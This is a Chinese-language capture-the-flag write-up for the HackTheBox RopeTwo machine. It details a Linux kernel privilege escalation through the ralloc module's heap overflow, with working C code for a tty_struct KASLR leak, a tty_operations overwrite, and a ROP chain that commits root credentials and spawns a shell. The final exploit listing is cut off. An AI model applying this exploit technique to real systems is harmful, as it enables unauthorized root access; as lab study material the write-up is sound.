HackTheBox-RopeTwo-[ralloc-KASLR-kernel-ROP]

前言

此篇文章专门记录hack the box - ropetwo机器中获取root权限的ralloc KASLR linux内核堆ROP利用部分。

本篇文章是hackthebox - ropetwo机器的最后一个部分, 进行内核调试漏洞利用。

枚举

当在寻找从chromeuser升级到r4j的方法时,运行了一个find查询来查找r4j拥有的文件。在上面展示了对该用户拥有的文件的搜索,对r4j组拥有的文件的搜索还返回了一些有趣的东西:

1
2
3
4
5
6
7
8
r4j@rope2:~$ find / -type f -group r4j -ls 2>/dev/null | grep -v -e " \/proc" -e " \/sys"
1054414 8 -rw-r----- 1 root r4j 5856 Jun 1 2020 /usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko
1056436 16 -rwsr-xr-x 1 r4j r4j 14312 Feb 24 2020 /usr/bin/rshell
1054405 4 -rwx------ 1 r4j r4j 3771 Apr 4 2019 /home/r4j/.bashrc
1056441 4 -rw-r----- 1 root r4j 33 Feb 26 17:52 /home/r4j/user.txt
1054406 4 -rwx------ 1 r4j r4j 807 Apr 4 2019 /home/r4j/.profile
1054407 4 -rwx------ 1 r4j r4j 220 Apr 4 2019 /home/r4j/.bash_logout
1054423 0 -rw-r--r-- 1 r4j r4j 0 Feb 23 2020 /home/r4j/.cache/motd.legal-displayed

ralloc.ko是一个内核模块。在/dev中有一个匹配的设备:

1
2
r4j@rope2:/dev$ ls -l ralloc
crw-r--r-- 1 root root 10, 52 Feb 26 17:52 ralloc

使用scp获取模块的副本:

1
2
3
4
5
6
7
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# scp -i id_rsa r4j@10.10.10.196:/usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko .
ralloc.ko 100% 5856 20.2KB/s 00:00
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# ls
chrome gdb-rshell.init id_rsa.pub libc-2.29.so-debug libc.so.6-ropetwo pwn_rshell.py rshell xpl.js
exp.py id_rsa ld-linux-x86-64.so.2 libc6-dbg_2.29-0ubuntu2_amd64.deb patch.diff ralloc.ko xpl.html

还需要一些关于RopeTwo的额外信息,以便复制环境。操作系统和内核版本:

1
2
3
4
5
6
7
r4j@rope2:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=19.04
DISTRIB_CODENAME=disco
DISTRIB_DESCRIPTION="Ubuntu 19.04"
r4j@rope2:~$ uname -a
Linux rope2 5.0.0-38-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

查看内核正在运行的保护,查看/proc/cpuinfo。对于每个处理器,都看到了flag smep,它代表监督模式执行保护。这意味着不能在内核中运行用户空间代码。相反,需要在漏洞开发利用过程中使用ROP来实现目标。

本地配置

因为内核模块是特定于内核的,所以想在本地VM中创建相同的环境。要访问Linux主机,最简单的方法是使用QEMU。这篇博文详细介绍了这个过程,但是本篇文章使用ubuntu 19.04 vm虚拟机系统来调试。

搭建VM

下载Ubuntu 19.04的iso,抓取了non-live的iso,并构建了一个新的VM。让它处于NAT模式,但添加了端口转发,这样就可以SSH进入它, 也可以自己配置sshd来连接ssh。

安装好之后,虚拟机已经运行的内核:

1
2
root@ubuntu:~# uname -a
Linux ubuntu 5.0.0-13-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

如果没有的话,它可以通过apt获得,所以可以使用sudo apt install linux-image-5.0.0-38-generic进行安装。

  • 注意这里更新源要使用old-release的源,否则安装内核不成功,其他方法安装内核容易报错。

还需要调试symbols包,从这里获取并安装(花了一些时间):

1
2
3
4
5
6
root@ubuntu:~# dpkg -i linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb
Selecting previously unselected package linux-image-unsigned-5.0.0-38-generic-dbgsym.
(Reading database ... 171311 files and directories currently installed.)
Preparing to unpack linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb ...
Unpacking linux-image-unsigned-5.0.0-38-generic-dbgsym (5.0.0-38.41) ...
Setting up linux-image-unsigned-5.0.0-38-generic-dbgsym (5.0.0-38.41) ...

要做的最后一件事是进入这个虚拟机的.vmx文件并添加:

1
debugStub.listen.guest64 = "TRUE"

这会在主机127.0.0.1:8864上启动一个监听器,可以将gdb连接到这个监听器上。如果需要从另一个主机连接,可以添加第二行:

1
debugStub.listen.guest64.remote = "TRUE"

如果有这一行,监听器将在0.0.0.0:8864上。

如果因为某些原因想改变端口,这样做(但将只使用默认端口):

1
debugStub.port.guest64 = "8865"

安装ralloc

将通过SSH或使用VMWare Tools将模块复制到VM中,以便在VM中共享一个文件夹。要加载模块,可以简单地使用insmod(插入模块):

1
2
test@ubuntu:~/rope2$ sudo insmod ./ralloc.ko
[sudo] password for test:

现在它显示在lsmod(列表模块)中,并且创建了设备:

1
2
3
4
test@ubuntu:~/rope2$ lsmod | grep ralloc
ralloc 16384 0
test@ubuntu:~/rope2$ ls /dev/ralloc
/dev/ralloc

可以通过在/proc/modules中grepping找到它在内存中的地址:

1
2
test@ubuntu:~/rope2$ sudo cat /proc/modules | grep ralloc
ralloc 16384 0 - Live 0xffffffffc0605000 (OE)

gdb

从PowerShell导入一个wsl bash shell:

1
2
PS C:\Users\Administrator> bash
test@DESKTOP-9LSPC40:/mnt/c/Users/Administrator$

按照页面上的说明在这个环境中安装GEF(尝试过Peda,但它与内核调试不太匹配)。

当运行gdb时,需要将它指向正在调试的内核。因为已经安装了调试symbols,所以可以把内核从/usr/lib/debug/boot中取出:

1
/usr/lib/debug/boot/vmlinux-5.0.0-38-generic

现在将在内核文件上启动gdb,并将目标设置为remote:

1
2
3
4
5
6
7
8
root@DESKTOP-9LSPC40:~/rope2# gdb -q ./vmlinux-5.0.0-38-generic
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.2 using Python engine 3.8
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from ./vmlinux-5.0.0-38-generic...
gef➤ target remote:8864
Remote debugging using :8864

现在,要把ralloc文件添加到本地gdb实例中。这使gdb能够设置断点

1
2
3
4
5
gef➤  add-symbol-file ralloc.ko 0xffffffffc0605000
add symbol table from file "ralloc.ko" at
.text_addr = 0xffffffffc05fb000
Reading symbols from ralloc.ko...
(No debugging symbols found in ralloc.ko)

静态分析

通用结构

需要弄清楚这个模块做什么,所以将在Ghidra打开ralloc.ko。该模块导出了两个函数,rope2_init 和 rope2_exit:

它们都非常简单,rope2_init调用misc_register, rope2_exit调用misc_dereregister来创建和删除设备。还有其他一些函数,但只有一个真正有趣,是rope2_ioctl。

IOCTL

结构

这段代码有两个用于管理数据的结构体,所以花了一分钟阅读代码,看看这些结构是如何使用的,然后在Ghidra中创建它们。我第一个调用了ralloc_in,它被用来管理通过ioctl传递的数据被调用:

另一个命名为ralloc_array。这用于命名为buffers的全局变量,该变量最多可以容纳32 (0x20)个缓冲区。每个对象为缓冲区存储一个大小和一个地址:

rope2_ioctl

一旦将这些应用到代码中的变量上,就会得到非常清晰的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
long rope2_ioctl(undefined8 fd,int ioctl_num)

{
long addr;
long user_input_;
ulong id;
long return;
long in_GS_OFFSET;
long user_input;
ulong user_input.size;
void *user_input.data;
long _canary;
long canary;
void *__src;
void *__dest;

__fentry__();
canary = *(long *)(in_GS_OFFSET + 0x28);
mutex_lock(lock);
_copy_from_user(&user_input,user_input_,0x18);
if (ioctl_num == 0x1000) {
if ((user_input.size < 0x401) && ((uint)user_input < 0x20)) {
id = (ulong)(uint)user_input * 0x10;
if (*(long *)(arr + id + 8) == 0) {
addr = __kmalloc(user_input.size,0x6000c0);
*(long *)(arr + id + 8) = addr;
if (addr != 0) {
*(ulong *)(arr + id) = user_input.size + 0x20;
return = 0;
goto LAB_00100104;
}
}
}
}
else {
if (ioctl_num == 0x1001) {
if (((uint)user_input < 0x20) && (*(long *)(arr + (ulong)(uint)user_input * 0x10 + 8) != 0)) {
kfree();
*(undefined8 *)(arr + (ulong)(uint)user_input * 0x10 + 8) = 0;
return = 0;
goto LAB_00100104;
}
}
else {
if (ioctl_num == 0x1002) {
if ((uint)user_input < 0x20) {
if ((*(void **)(arr + (ulong)(uint)user_input * 0x10 + 8) != (void *)0x0) &&
(__dest = *(void **)(arr + (ulong)(uint)user_input * 0x10 + 8), __src = user_input.data
, (user_input.size & 0xffffffff) < *(ulong *)(arr + (ulong)(uint)user_input * 0x10) ||
(user_input.size & 0xffffffff) == *(ulong *)(arr + (ulong)(uint)user_input * 0x10)))
goto joined_r0x001001ec;
}
}
else {
if ((ioctl_num == 0x1003) && ((uint)user_input < 0x20)) {
__src = *(void **)(arr + (ulong)(uint)user_input * 0x10 + 8);
if ((__src != (void *)0x0) &&
(__dest = user_input.data,
(user_input.size & 0xffffffff) <= *(ulong *)(arr + (ulong)(uint)user_input * 0x10))) {
joined_r0x001001ec:
if (((ulong)user_input.data & 0xffff000000000000) == 0) {
memcpy(__dest,__src,user_input.size & 0xffffffff);
return = 0;
goto LAB_00100104;
}
}
}
}
}
}
return = -1;
LAB_00100104:
mutex_unlock(lock);
if (canary == *(long *)(in_GS_OFFSET + 0x28)) {
return return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}

进一步优化后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
long rope2_ioctl(undefined8 fd,int ioctl_num,long input_struct)

{
long _canary;
void *__dest;
void *__src;
long addr;
long user_input_;
ulong id;
long return;
long in_GS_OFFSET;
ralloc_in user_input;

__fentry__();
_canary = *(long *)(in_GS_OFFSET + 0x28);
mutex_lock(lock);
_copy_from_user(&user_input,user_input_,0x18);
/* ADD */
if (ioctl_num == 0x1000) {
id = (ulong)(uint)user_input.id;
if ((user_input.size < 0x401) && ((uint)user_input.id < 0x20)) {
if (buffers[id].address == 0) {
addr = __kmalloc(user_input.size,0x6000c0);
buffers[id].address = addr;
if (addr != 0) {
buffers[id].size = user_input.size + 0x20;
return = 0;
}
}
}
}
else {
/* Delete */
if (ioctl_num == 0x1001) {
if (((uint)user_input.id < 0x20) && (buffers[(uint)user_input.id].address != 0)) {
kfree();
buffers[(uint)user_input.id].address = 0;
return = 0;
}
}
else {
/* Write */
if (ioctl_num == 0x1002) {
if ((uint)user_input.id < 0x20) {
if (((void *)buffers[(uint)user_input.id].address != (void *)0x0) &&
(__dest = (void *)buffers[(uint)user_input.id].address, __src = user_input.data,
(user_input.size & 0xffffffff) < buffers[(uint)user_input.id].size ||
(user_input.size & 0xffffffff) == buffers[(uint)user_input.id].size))
goto joined_r0x001001ec;
}
}
else {
/* Read */
if ((ioctl_num == 0x1003) && ((uint)user_input.id < 0x20)) {
__src = (void *)buffers[(uint)user_input.id].address;
if ((__src != (void *)0x0) &&
(__dest = user_input.data,
(user_input.size & 0xffffffff) <= buffers[(uint)user_input.id].size)) {
}
}
}
if (((ulong)user_input.data & 0xffff000000000000) == 0) {
memcpy(__dest,__src,user_input.size & 0xffffffff);
return = 0;
} else {
return = -1;
}
}
}
mutex_unlock(lock);
if (_canary == *(long *)(in_GS_OFFSET + 0x28)) {
return return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}

基本上,在4个可能的输入代码上有一个switch语句来执行添加(0x1000)、删除(0x1001)、写入(0x1002)和读取(0x1003)。

漏洞在于如何添加新块。有一个检查来确保块不大于0x400,并且id小于32,然后将大小保存到比缓冲区大0x20字节的缓冲区列表中。这允许在缓冲区的末端之外进行读写操作。

基本相互作用

开始写一个c程序,将与设备交互,包括一些帮助函数,以进行每个IOCTL调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>

int fd;

struct user_data_struct {
uint64_t id;
uint64_t size;
void* data;
} user_data;


long create_buf(uint64_t id, uint64_t size){
user_data.id = id;
user_data.size = size;
return ioctl(fd, 0x1000, &user_data);
}

long delete_buf(uint64_t id) {
user_data.id = id;
return ioctl(fd, 0x1001, &user_data);
}


long write_buf(uint64_t id, uint64_t size, void *data){
user_data.id = id;
user_data.size = size;
user_data.data = data;
return ioctl(fd, 0x1002, &user_data);
}


long read_buf(uint64_t id, uint64_t size, void *data){
user_data.id = id;
user_data.size = size;
user_data.data = data;
return ioctl(fd, 0x1003, &user_data);
}

现在,将从一个简单的main开始,它打开设备,清除缓冲区,创建一个缓冲区,向它写入0x40字节的As,然后从它读取0x420字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(int argc) {
fd = open("/dev/ralloc", O_RDONLY);
if(fd == -1) {
fprintf(stderr, "Failed to open /dev/ralloc");
return -1;
}

for(int i=0; i < 0x20; i++){
delete_buf(i);
}

create_buf(1, 0x400);

uint64_t *input = malloc(0x400);
memset(input, 0x41, 0x40);
write_buf(1, 0x40, input);

uint64_t *output = malloc(0x420);
read_buf(1, 0x420, output);

for(int i=0; i < 0x420/8; i++){
if (i % 4 == 0) {
printf("\n%03x: ", i*8);
}
printf("%016lx ", output[i]);
}
printf("\n");
}

当运行这个,得到的结果匹配所期望的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
test@ropetest:~$ ./exploit

000: 4141414141414141 4141414141414141 4141414141414141 4141414141414141 <-- 0x40 bytes of A
020: 4141414141414141 4141414141414141 4141414141414141 4141414141414141
040: 6c732f6c656e7265 61686769732f6261 65686361635f646e 2f70756f7267632f <-- random stuff in 0x400 byte buffer
060: 5f646e6168676973 3039286568636163 6f69737365733a35 732e343939312d6e
080: 5553002965706f63 3d4d455453595342 530070756f726763 39383d4d554e5145
0a0: 5f43455355003632 494c414954494e49 313631313d44455a 3339353439323531
0c0: ffff9880f48c0000 dead000000000100 dead000000000200 dead000000000100
0e0: dead000000000200 dead000000000100 dead000000000200 dead000000000100
100: dead000000000200 dead000000000100 dead000000000200 dead000000000100
120: dead000000000200 dead000000000100 dead000000000200 dead000000000100
140: dead000000000200 dead000000000100 dead000000000200 dead000000000100
160: dead000000000200 dead000000000100 dead000000000200 dead000000000100
180: dead000000000200 dead000000000100 dead000000000200 ffff9880f48c7598
1a0: ffff9880f48c7598 0000000000000000 0000000000000000 0000000000000000
1c0: 0000000000000000 ffff9880f48c75c8 ffff9880f48c75c8 ffff9880f48c75d8
1e0: ffff9880f48c75d8 ffff9880f48c75e8 ffff9880f48c75e8 0000000000000000
200: 0000000000000000 0000000000000000 0000000000000000 ffff987fa5bf3800
220: 0000000000000218 0000000000000000 0000000000000000 0000000000000000
240: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
260: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
280: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
2a0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
2c0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
2e0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
300: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
320: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
340: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
360: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
380: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
3a0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
3c0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
3e0: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
400: ffffffff960c4f20 ffffffff9655c3c0 ffffffff96067120 ffffffff96711080 <-- reading into next buffer

KASLR Defeat

策略

利用内核堆的一种常用技术是找到tty_struct。可以稍后使用它来执行,但首先将使用它来泄漏一个地址,这个地址与内核基的常量偏移量相等。将使用/dev/ptmx创建它,这是一个伪终端设备。有很多文章展示了利用这一点的好例子,比如这个这个

其思想是,创建一个新的缓冲区,然后立即打开/dev/ptmx,它将为tty_struct分配一个0x2e0字节的内核缓冲区,希望紧接在缓冲区之后。因为可以读取0x20字节超出缓冲区的结束,希望将能够读取到结构,它有以下格式:

1
2
3
4
5
6
7
8
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
/* ...... */
}

目标是读取tty_operations指针,因为它指向ptm_unix98_ops,它与内核基的偏移量是恒定的。第一个尝试是使用TTY_MAGIC定义为0x5401这一事实来检查是否设法读取正确的结构体。但是,内存中有多个tty_struct,当查看调试器时,它会发现其他的tty_struct不指向ptm_unix98_ops。

可以在gdb中查看ptm_unix98_ops的当前地址:

1
2
3
gef➤  p &ptm_unix98_ops
$1 = (const struct tty_operations *) 0xffffffff820af6a0
<ptm_unix98_ops>

虽然顶部的地址会随着KASLR而改变,但底部的三颗不会改变。因此,将寻找magic和最后三个字节,期望tty_operations。

要找到从ptm_unix98_ops到内核基的偏移量,将查看/proc/kallsyms。

1
2
root@ropetest:~# cat /proc/kallsyms | grep ' startup_64'
ffffffff94a00000 T startup_64

所以偏移量是:

1
2
gef➤  p 0xffffffff95aaf6a0 - 0xffffffff94a00000
$1 = 0x10af6a0

实现

下面的代码将清除所有缓冲区槽。然后,它将尝试最多32次来分配缓冲区,然后立即打开/dev/ptmx.然后,它将执行越界读取,查找tty_operations的magic和正确的低三个字节。在找到它时,它将中断并打印:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int main(int argc) {
int i;
fd = open("/dev/ralloc", O_RDONLY);
if(fd == -1) {
fprintf(stderr, "Failed to open /dev/ralloc");
return -1;
}

for(i=0; i < 0x20; i++){
delete_buf(i);
}

uint64_t *output = malloc(0x420);
for(i=0; i < 0x20; i++){
create_buf(i, 0x400);
int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

read_buf(1, 0x420, output);
if((output[0x400/8] & 0xffffffff) == 0x5401 &&
(output[0x418/8] & 0xfff) == 0x6a0) {
break;
}
printf("[-]Failed to find tty_struct, retrying [%02x]\n", i);
}

if (i == 0x20){
printf("Failed to find tty_struct. Try again\n");
exit(-1);
}
for(i=0x400/8; i < 0x420/8; i++){
printf("0x%03x: %016lx\n", i*8, output[i]);
}
}

有时它什么也找不到,但很多时候它能找到:

1
2
3
4
5
6
7
8
r4j@rope2:~$ /tmp/n
[-]Failed to find tty_struct, retrying [00]
[-]Failed to find tty_struct, retrying [01]
[-]Failed to find tty_struct, retrying [02]
0x400: 0000000100005401 <-- magic
0x408: 0000000000000000
0x410: ffff9880ead25600
0x418: ffffffff95aaf6a0 <-- tty_operations

现在把它重构成一个循环,这样它就会继续尝试,如果它达到32,仍然没有找到它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int main(int argc) {

int i, id;
uint64_t *output = malloc(0x420);
uint64_t kernel_base;

fd = open("/dev/ralloc", O_RDONLY);
if(fd == -1) {
fprintf(stderr, "Failed to open /dev/ralloc");
return -1;
}

kernel_base = 0;
while(kernel_base == 0) {
// Clear buffers
for(i=0; i < 0x20; i++){
delete_buf(i);
}

// Loop over buffers, create, open ptmx, check for tty_struct
for(i=0; i < 0x20; i++){
create_buf(i, 0x400);
ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

read_buf(i, 0x420, output);
if((output[0x400/8] & 0xffffffff) == 0x5401 &&
(output[0x418/8] & 0xfff) == 0x6a0) {
break;
}
close(ptmx);
}

if (i == 0x20){
printf("[-] Failed to find tty_struct. Try again.\n");
} else {
uint64_t ptm_unix98_ops = output[0x418/8];
printf("[+] Identified ptm_unix98_ops address: %016lx\n", ptm_unix98_ops);
kernel_base = ptm_unix98_ops - 0x10af6a0;
printf("[+] Identified kernel base address: %016lx\n", kernel_base);
id = i;
}
}
}

有效:

1
2
3
4
5
test@ropetest:~$ ./exploit
[-] Failed to find tty_struct. Try again.
[-] Failed to find tty_struct. Try again.
[+] Identified ptm_unix98_ops address: ffffffff95aaf6a0
[+] Identified kernel base address: ffffffff94a00000

控制RIP

策略

既然能打败KASLR,就试着控制RIP。为了做到这一点,将继续滥用tty_struct,特别是用来获得泄漏的tty_operations结构体。这个结构体的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
...[snip]...

它包含了一堆指向函数的指针,这些函数将被用于各种操作。因此,当设备句柄上调用close时,close操作在这个结构体中查找。因此,如果能控制这个,就能控制RIP。

实现

现在可以控制一个指向tty_operations结构体的指针。将创建一个新的,然后用自己的指针覆盖那个指针。要担心的唯一函数是close(),因为将在插入伪tty_operations之后立即关闭TTY的句柄。

1
2
3
4
5
uint64_t *fake_tty_ops = malloc(248);
fake_tty_ops[4] = 0xdfdfdfdfdfdfdfdf;
output[0x418/8] = (uint64_t)fake_tty_ops;
write_buf(id, 0x420, output);
close(ptmx);

因为RIP现在是0xdfdfdfdfdfdfdfdf,所以会导致系统崩溃。

ROP

堆栈中枢

控制了RIP,需要运行一些东西。当想到一个典型的ROP时,栈上有一个被覆盖的返回地址,然后ROP可以在此之后继续。在这种情况下,覆盖是tty_operations结构体中的一个指针,所以不能一直写在那里,因为那不是堆栈。这就引出了堆栈枢轴的概念,即使用一个gadget将堆栈移动到已经或将要写入rop链攻击的新地址。可以将堆栈移动到控制的内存空间,并在那里建立一个ROP链。

因为在寻找贯穿整个内核的gadgets,所以会有很多。将使用ROPGadget将它们全部转储到一个文件中(这将花费一分钟),然后可以从那里搜索它。

1
2
3
root@kali# python3 /opt/ROPgadget/ROPgadget.py --binary vmlinux-5.0.0-38-generic > gadgets 
root@kali# wc -l gadgets
811057 gadgets

可以在崩溃中看到对close()的覆盖在RIP和RAX中结束。因此,虽然很难在堆栈上得到一些东西,以弹出到RSP,一个xchg RSP, rax将把堆栈在一个知道的地址。而且由于代码在内核中运行,在更改权限和覆盖内容方面有相当大的灵活性。

使用grep寻找xchg与RSP和RAX没有找到任何东西。

1
root@kali# grep -E -e 'xchg rsp, rax ; ret' -e 'xchg rax, rsp ; ret' gadgets

但是因为可以预测单词的前32位,EAX和ESP也可以,还有很多这样的单词:

1
2
root@kali# grep -E -e ': xchg esp, eax ; ret' -e ': xchg eax, esp ; ret' gadgets | wc -l
228

因为将使它成为堆栈指针,所以需要gadgets的地址位于8位边界上。还很多:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali# grep -E -e ': xchg esp, eax ; ret' -e ': xchg eax, esp ; ret' gadgets | grep -E "^0x[0-9a-f]{15}[08]" | wc -l
38
root@kali# grep -E -e ': xchg esp, eax ; ret' -e ': xchg eax, esp ; ret' gadgets | grep -E "^0x[0-9a-f]{15}[08]" | head
0xffffffff81368c08 : xchg eax, esp ; ret 0
0xffffffff817fccd8 : xchg eax, esp ; ret 0x166
0xffffffff81610650 : xchg eax, esp ; ret 0x2241
0xffffffff81076088 : xchg eax, esp ; ret 0x35e9
0xffffffff81288d78 : xchg eax, esp ; ret 0x3948
0xffffffff8114bb88 : xchg eax, esp ; ret 0x394d
0xffffffff812f74c0 : xchg eax, esp ; ret 0x3d
0xffffffff828deb28 : xchg eax, esp ; ret 0x43
0xffffffff814afc90 : xchg eax, esp ; ret 0x69e9
0xffffffff8154b090 : xchg eax, esp ; ret 0x8148

将获取第一个,现在代码看起来像:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Stack Pivot
size_t xchg_esp_eax = 0x368c08 + kernel_base;
uint64_t *fake_tty_ops = malloc(248);
fake_tty_ops[4] = xchg_esp_eax;
output[0x83] = (uint64_t)fake_tty_ops;
write_buf(id, 0x420, output);
uint64_t new_stack = xchg_esp_eax & 0xffffffff;

// Set Permissions

// Offsets

// ROP

// trigger ROP
close(ptmx);

带有32位参数的xchg指令将0清除64位寄存器的其余部分。因此,新的堆栈不会在xchg指令的顶部,而是在相同的位置,但前32位为空。

权限

在内核中,有很多控制权,但是内存需要同时是可写的和可执行的,所以将调用mmap。调用需要在页面边界上,因此将最后三个小块设置为0,并选择一个足够大的大小,以便ROP不担心空间问题。文档在这里显示了标记,将选择MAP_PRIVATE,因为希望这个更改只影响这个进程,MAP_ANONYMOUS,因为在这里使用shellcode, MAP_FIXED,因为希望强制地址。对于MAP_ANONYMOUS, fd参数应该是-1,并且没有偏移量:

1
2
3
4
5
6
7
8
9
10
// Set Permissions
mmap((void *)(new_stack & 0xfffff000), 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);

// Offsets

// ROP

// trigger ROP
close(ptmx);

ROP

ROP本身将使用一种技术,将prepare_kernel_cred(0)传递给commit_creds,以将当前进程设置为root。然后返回到用户空间,使用swapgs生成shell,并使用shell生成函数。

将定义需要使用的偏移量(未显示),然后转到ROP。首先,将返回(使用ret gadget开始ROP总是好的),然后调用prepare_kernel_cred(0):

1
2
3
4
5
6
7
// ROP
uint64_t *st_ptr = new_stack;
int st_idx = 0;
st_ptr[st_idx++] = ret;
st_ptr[st_idx++] = pop_rdi;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = prepare_kernel_cred;

返回时,结果将以RAX的形式出现,需要一种方法将其导入RDI。mov rdi, rdx gadget并不漂亮:

1
2
3
4
5
6
7
8
9
10
11
root@kali# grep ': mov rdi, rax' gadgets | grep -v -e call -e 'jmp 0x'
0xffffffff8112e597 : mov rdi, rax ; cmp r8, rdx ; jne 0xffffffff8112e57c ; pop rbp ; ret
0xffffffff814ed7ea : mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff814ed7dd ; pop rbp ; ret
0xffffffff814ed84c : mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff814ed83d ; pop rbp ; ret
0xffffffff8102f7ff : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; pop rbp ; ret
0xffffffff828f29f4 : mov rdi, rax ; xor eax, eax ; rep movsb byte ptr [rdi], byte ptr [rsi] ; ret

root@kali# grep ': pop r8 ; ret' gadgets | head -1
0xffffffff814875b2 : pop r8 ; ret
root@kali# grep ': pop rdx ; ret' gadgets | head -1
0xffffffff8103bbc2 : pop rdx ; ret

看看列表中的第一个,只要R8等于RDX,它就会跳过跳转,弹出RBP,然后返回。可以做到:

1
2
3
4
5
6
7
st_ptr[st_idx++] = pop_r8;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = pop_rdx;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = mov_rax_rdi_cmp_pop_rbp;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = commit_creds;

代码将把0放到R8和RDX中,然后调用gadget将返回值从RAX移动到RDI,然后是RBP pop的最后一个0。然后,RDI包含来自prepare_kernel_cred的返回值,它调用commit_creds。

现在,creds已经到位,需要代码来返回用户区。首先,swapgs将用它在用户空间中运行所需的值交换内核的GS基寄存器。有一个带有swapgs和pop rbp的gadget可以工作:

1
2
st_ptr[st_idx++] = swapgs_pop_rbp;
st_ptr[st_idx++] = 0;

然后sysretq指令将返回到useland。这通常用于从系统调用返回。需要在RCX中设置返回地址,并在R11中设置标志。将写一个简短的函数,想跳转到作为root:

1
2
3
4
5
6
7
8
void shell() {
if(!getuid()) {
system("/bin/sh");
} else {
puts("[-] Failed");
exit(-1);
}
}

R11中的内容似乎并不重要,所以将使用0。

1
2
3
4
5
st_ptr[st_idx++] = pop_rcx;
st_ptr[st_idx++] = &shell;
st_ptr[st_idx++] = pop_r11;
st_ptr[st_idx++] = 0x0;
st_ptr[st_idx++] = sysretq;

触发

现在剩下要做的就是通过关闭/dev/ptmx.的句柄来触发ROP这应该会导致在这个进程中运行/bin/sh,但如果失败,将打印一条消息并返回1:

1
2
3
4
5
// trigger ROP
printf("[*] Triggering ROP\n");
close(ptmx);
printf("[-] Exploit failed.\n");
return 1;

shell

完整的exp源码在这里。对于所有的代码片段,将编译并上传到RopeTwo机器:

  • exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
